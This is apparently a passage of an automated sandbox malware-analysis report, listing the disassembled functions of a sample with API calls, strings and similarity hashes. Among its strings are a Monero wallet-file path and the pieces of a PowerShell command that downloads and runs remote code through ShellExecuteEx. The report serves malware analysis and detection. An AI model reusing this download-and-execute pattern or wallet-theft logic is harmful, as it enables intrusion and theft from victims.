                                      • API String ID: 3225020163-2517555085
                                      • Opcode ID: d25b89d9edae256da902574000599b509602c7c3d708240fd463bf4db484baa7
                                      • Instruction ID: ee18d928b79f00150cd84e02d934e22c08df1808e0f67899fb14af6588ea85c7
                                      • Opcode Fuzzy Hash: d25b89d9edae256da902574000599b509602c7c3d708240fd463bf4db484baa7
                                      • Instruction Fuzzy Hash: 2801FF75A48309BBEB04DBE4DD49FAE7779FB48701F1040A9FA05A6290EB70A940CB50
                                      Function 006078B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 006078C4
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 006078CB
                                      • RegOpenKeyExA.ADVAPI32(80000002,00F3BAE0,00000000,00020119,00607849), ref: 006078EB
                                      • RegQueryValueExA.ADVAPI32(00607849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0060790A
                                      • RegCloseKey.ADVAPI32(00607849), ref: 00607914
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                      • String ID: CurrentBuildNumber
                                      • API String ID: 3225020163-1022791448
                                      • Opcode ID: 21477a50004d737588303fb5be3510f1e57777e5ced6fcaeb1d08faf8d3d0005
                                      • Instruction ID: 3ac159b8f6e392ef43dfb0402803da05d43113690fc1088258e609b41f948615
                                      • Opcode Fuzzy Hash: 21477a50004d737588303fb5be3510f1e57777e5ced6fcaeb1d08faf8d3d0005
                                      • Instruction Fuzzy Hash: B901E1B5A44309BFEB00DBD4DC49FAE7778FB44701F104595F615A6281DB706A508B90
                                      Function 00609470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNEL32(>=`,80000000,00000003,00000000,00000003,00000080,00000000,?,00603D3E,?), ref: 0060948C
                                      • GetFileSizeEx.KERNEL32(000000FF,>=`), ref: 006094A9
                                      • CloseHandle.KERNEL32(000000FF), ref: 006094B7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$CloseCreateHandleSize
                                      • String ID: >=`$>=`
                                      • API String ID: 1378416451-1645853530
                                      • Opcode ID: 0fb1ce2317aeeb7ec6ea803787731ee7db86420994bf79d237bc248e4f81ce83
                                      • Instruction ID: 8992fc3321f4883e80034d56875a60d883cddb27b2fcfbbfc0d8eb62b043d37c
                                      • Opcode Fuzzy Hash: 0fb1ce2317aeeb7ec6ea803787731ee7db86420994bf79d237bc248e4f81ce83
                                      • Instruction Fuzzy Hash: 64F01939E44208ABDB14DFB0EC49F9A77BABB48710F108654FA11A62C0D67096018F90
                                      Function 005FA110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                      • GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                      • LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                      • ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                      • LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                      • CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$Local$AllocCloseCreateFreeHandleReadSize
                                      • String ID:
                                      • API String ID: 2311089104-0
                                      • Opcode ID: a7b6705f5bee6e87cd63b15c554f7b3251112d69ca664237e6a8bc0116bfb531
                                      • Instruction ID: e19b28398001f80bcddf068fbb973ae517e9d4c2edb1ac34e7b9ef618f2334ad
                                      • Opcode Fuzzy Hash: a7b6705f5bee6e87cd63b15c554f7b3251112d69ca664237e6a8bc0116bfb531
                                      • Instruction Fuzzy Hash: 8031E1B4A00209EFDB14DF94D885FEE7BB5BF48304F108159E915A7290D774AA85CFA2
                                      Function 006049D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • lstrcat.KERNEL32(?,00F4F3C8), ref: 00604A2B
                                        • Part of subcall function 00608F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608F9B
                                      • lstrcat.KERNEL32(?,00000000), ref: 00604A51
                                      • lstrcat.KERNEL32(?,?), ref: 00604A70
                                      • lstrcat.KERNEL32(?,?), ref: 00604A84
                                      • lstrcat.KERNEL32(?,00F3A680), ref: 00604A97
                                      • lstrcat.KERNEL32(?,?), ref: 00604AAB
                                      • lstrcat.KERNEL32(?,00F4E0C8), ref: 00604ABF
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 00608F20: GetFileAttributesA.KERNEL32(00000000,?,005F1B94,?,?,0061577C,?,?,00610E22), ref: 00608F2F
                                        • Part of subcall function 006047C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006047D0
                                        • Part of subcall function 006047C0: RtlAllocateHeap.NTDLL(00000000), ref: 006047D7
                                        • Part of subcall function 006047C0: wsprintfA.USER32 ref: 006047F6
                                        • Part of subcall function 006047C0: FindFirstFileA.KERNEL32(?,?), ref: 0060480D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
                                      • String ID:
                                      • API String ID: 2540262943-0
                                      • Opcode ID: 4e1ad7cb621044d40ad8fd5b3bd5b217c9ff0d574543e8db063c0c22bd0cf4b5
                                      • Instruction ID: c75fbb6ddc88738067b3c3b6b7902fdd9f47794d7127a79d5a473c3cb7000901
                                      • Opcode Fuzzy Hash: 4e1ad7cb621044d40ad8fd5b3bd5b217c9ff0d574543e8db063c0c22bd0cf4b5
                                      • Instruction Fuzzy Hash: 1B3144B29402186BDB58F7B0DC95EDE733DBB48700F404599B24656091EF749BC8CF98
                                      Function 00602EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • ShellExecuteEx.SHELL32(0000003C), ref: 00602FD5
                                      Strings
                                      • ')", xrefs: 00602F03
                                      • -nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00602F14
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00602F54
                                      • <, xrefs: 00602F89
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
                                      • String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      • API String ID: 3031569214-898575020
                                      • Opcode ID: 4034e1b486864ccbcedca73f7f61d32f06a51d1577e04f3d8698940271c0bcb8
                                      • Instruction ID: a7397b9fddd876d7b60976d5483c10be86b3aff2d344ccff37899e8fcf5473a3
                                      • Opcode Fuzzy Hash: 4034e1b486864ccbcedca73f7f61d32f06a51d1577e04f3d8698940271c0bcb8
                                      • Instruction Fuzzy Hash: 2241CF719502089ADB58FBE0C8A1FEEB77AAF14340F40455DE116671D2EF702A89CF55
                                      Function 00604300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • RegOpenKeyExA.ADVAPI32(80000001,00F4E048,00000000,00020119,?), ref: 00604344
                                      • RegQueryValueExA.ADVAPI32(?,00F4F488,00000000,00000000,00000000,000000FF), ref: 00604368
                                      • RegCloseKey.ADVAPI32(?), ref: 00604372
                                      • lstrcat.KERNEL32(?,00000000), ref: 00604397
                                      • lstrcat.KERNEL32(?,00F4F578), ref: 006043AB
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$CloseOpenQueryValue
                                      • String ID:
                                      • API String ID: 690832082-0
                                      • Opcode ID: d8c263627aa7a80fd33eaa0203c2bccf9f16f0189d0a110eee919ef4f50c9033
                                      • Instruction ID: 494c448e2c0439e5a38dbf8569f500565a8366f65d72d7f971976cd2ae128c82
                                      • Opcode Fuzzy Hash: d8c263627aa7a80fd33eaa0203c2bccf9f16f0189d0a110eee919ef4f50c9033
                                      • Instruction Fuzzy Hash: 5A4196B6940108ABDB28EBA0EC46FFE773DBB88300F40455CB716561C1FE759A888F95
                                      Function 0066CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: dllmain_raw$dllmain_crt_dispatch
                                      • String ID:
                                      • API String ID: 3136044242-0
                                      • Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                      • Instruction ID: d2a0dfcb1a18c57b98a26d780770aba0b69d0807710152dd91fdc225cade96fa
                                      • Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                      • Instruction Fuzzy Hash: A6218B72D40A18ABDB219F59CC419BF3A7AEB81BB0B054119F88867210C2318D419BE0
                                      Function 00606BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSystemTime.KERNEL32(?), ref: 00606C0C
                                      • sscanf.NTDLL ref: 00606C39
                                      • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00606C52
                                      • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00606C60
                                      • ExitProcess.KERNEL32 ref: 00606C7A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Time$System$File$ExitProcesssscanf
                                      • String ID:
                                      • API String ID: 2533653975-0
                                      • Opcode ID: dc3a35b14ac3452c10eeaffbfc006fd48e9e60101140a6f96e634f3953f3fee3
                                      • Instruction ID: 416d6f5220c01c8a46339287d0c1a23e12f6ef032ff0ab61524e625bed69a757
                                      • Opcode Fuzzy Hash: dc3a35b14ac3452c10eeaffbfc006fd48e9e60101140a6f96e634f3953f3fee3
                                      • Instruction Fuzzy Hash: 2E21CD75D142089BCF48EFE4E8459EEB7B6FF48300F04856EF516A3250EB749608CB69
                                      Function 00607F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607FC7
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00607FCE
                                      • RegOpenKeyExA.ADVAPI32(80000002,00F3BBF8,00000000,00020119,?), ref: 00607FEE
                                      • RegQueryValueExA.ADVAPI32(?,00F4E108,00000000,00000000,000000FF,000000FF), ref: 0060800F
                                      • RegCloseKey.ADVAPI32(?), ref: 00608022
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                      • String ID:
                                      • API String ID: 3225020163-0
                                      • Opcode ID: 358d186360ab2525515f9e8870dc76999c789ed1347700f971b904cfd16f0b4c
                                      • Instruction ID: ebdab5066de0bc617249c7ba274d00f1cdf0fc6623a7e8201819e33a63e165ab
                                      • Opcode Fuzzy Hash: 358d186360ab2525515f9e8870dc76999c789ed1347700f971b904cfd16f0b4c
                                      • Instruction Fuzzy Hash: 48114CB1A84205AFEB04CF94DD45FAFBBBDFB44B10F104219F616A7280D7B559048BA1
                                      Function 006093F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • StrStrA.SHLWAPI(00F4F4A0,00000000,00000000,?,005F9F71,00000000,00F4F4A0,00000000), ref: 006093FC
                                      • lstrcpyn.KERNEL32(008C7580,00F4F4A0,00F4F4A0,?,005F9F71,00000000,00F4F4A0), ref: 00609420
                                      • lstrlen.KERNEL32(00000000,?,005F9F71,00000000,00F4F4A0), ref: 00609437
                                      • wsprintfA.USER32 ref: 00609457
                                      Strings
                                      Memory Dump Source
